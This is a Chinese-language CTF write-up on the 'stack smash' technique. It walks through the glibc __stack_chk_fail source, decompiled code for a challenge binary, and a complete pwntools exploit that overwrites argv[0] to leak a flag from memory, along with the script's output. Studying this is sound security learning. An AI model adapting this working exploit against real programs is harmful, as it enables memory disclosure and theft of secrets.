Stack smash

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

file

file xpl 
xpl: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=1856a84cc2663caa91e1511a2f0691652201fb95, not stripped

chechsec

>>> from pwn import *
>>> print ELF('xpl').checksec()
[*] '/root/sploitfun/pre-ctf-2015/xpl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida打开binary,发现read函数存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax@1
  int result; // eax@4
  __int64 v5; // rcx@4
  __int64 v6; // [sp+18h] [bp-118h]@1
  char v7; // [sp+20h] [bp-110h]@2
  char v8; // [sp+A0h] [bp-90h]@2
  __int64 v9; // [sp+128h] [bp-8h]@1

  v9 = *MK_FP(__FS__, 40LL);
  putenv("LIBC_FATAL_STDERR_=1", argv, envp);
  LODWORD(v3) = fopen64("flag.txt", "r");
  v6 = v3;
  if ( v3 )
  {
    fgets(&v7, 32LL, v3);	//读取32个字节到v7中
    fclose(v6);
    printf((__int64)"Interesting data loaded at %p\nYour username? ", &v7, argv);	//读取的内容在这里
    fflush(0LL, &v7);
    read(0LL, &v8, 1024LL);		//这里存在明显的栈溢出
  }
  else
  {
    puts("Error leyendo datos");
  }
  result = 0;
  v5 = *MK_FP(__FS__, 40LL) ^ v9;
  return result;
}

一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置,也就是ebp\rbp的上一个位置.如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail()函数将抛出异常并退出程序。

最终的exp

from pwn import *

sh = process("./xpl")
addr = int(sh.recvline().split()[4], 16)        #这个地址就是flag.txt内容地址

payload = "A" * 376+p64(addr)                   #这个就是盖掉了main()函数中第0个参数(就是文件名称)
sh.sendline(payload)
result = sh.recvall()       ##canary检测到了异常,__stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串
print result

最终的结果

python exp.py 
[+] Starting local process './xpl': pid 5667
[+] Receiving all data: Done (72B)
[*] Process './xpl' stopped with exit code -6 (SIGABRT) (pid 5667)
Your username? *** stack smashing detected ***: thisismorty